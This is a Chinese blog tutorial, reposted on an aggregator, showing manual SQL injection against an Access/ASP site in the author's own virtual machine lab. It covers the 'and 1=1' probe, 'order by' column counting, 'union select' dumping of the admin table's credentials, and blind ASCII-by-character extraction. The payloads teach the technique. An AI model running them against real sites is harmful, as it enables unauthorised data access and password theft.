首页 > 数据库技术 > 详细

Access手工注入

时间:2018-08-07 12:15:33      阅读:218      评论:0      收藏:0      [点我收藏+]

access手工注入

哈哈哈哈,,,我顾北清又回来啦,接着更新。
实验环境:win2008R2虚拟机,物理机(也就是我的win10)。
搭建环境用的是access+asp源码。

环境搭建可以参照这里,不同的是在第六步勾选应用程序开发选项。
环境搞完之后大概是这个样子的:
技术分享图片
接着来手工注入一下。
首先判断有没有注入点,随便点进一个页面:
技术分享图片
技术分享图片
%20是空格的转码。
and 1=1没有出错,再来试试and 1=2
技术分享图片
出错了,说明它将这条语句带入查询了,说明存在注入点。

1.联合查询法
先判断字段长度,使用order by 猜测的长度
我这里猜测长度是22(因为我事先知道/滑稽脸,所以命令是order by 22
技术分享图片
技术分享图片
判断到22的时候是正常的,到23的时候报错了,说明,字段长度是22。
然后来猜解表名,使用的命令是:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin.
admin是我猜解的表名。
技术分享图片
发现这里爆出一个315,说明315这两个位置存在数据,接着来用猜解的数据替换这两个位置。
技术分享图片
图中的adminpassword是猜解的字段,如果此阿姐正确就会爆出这两个位置的数据,这样就拿到了账号密码。

2.逐字猜解法
首先判断是否存在某个表:
这里使用的命令是and exists ( select * from admin),判断是否存在admin表。
技术分享图片
没有报错,说明存在admin表,接着来判断admin表中的字段,这里使用and exists ( select admin from admin)命令判断在admin表中是否存在admin字段。
技术分享图片
没有报错说明存在,接着看看有没有password字段。
技术分享图片
发现也没有报错,说明存在。
然后判断这两个字段对应数据的长度。
因为我事先知道对应关系,所里我就直接判断admin的长度是5,password的长度是16。
使用语句是and (select top 1 len(列名) from admin)=长度值
可以使用and (select top 1 len(列名) from admin)>长度值来缩小范围。
技术分享图片
技术分享图片
这样我就判断出了数据的长度,然后根据数据长度反推数据。
使用的命令是and (select top 1 asc(mid(列名,第几位,1)) from admin)=长度值,这里的长度值是ASCII码。
技术分享图片
我使用的命令是and (select top 1 asc(mid(admin,1,1)) from admin)=97
可以看到没有报错,这里97对应的是a,而我的admin列里的数据是admin,刚好对应,如果换成98,那么就会报错。
以此类推,猜解出数据。

Access手工注入

原文:https://www.cnblogs.com/Timesi/p/9435693.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!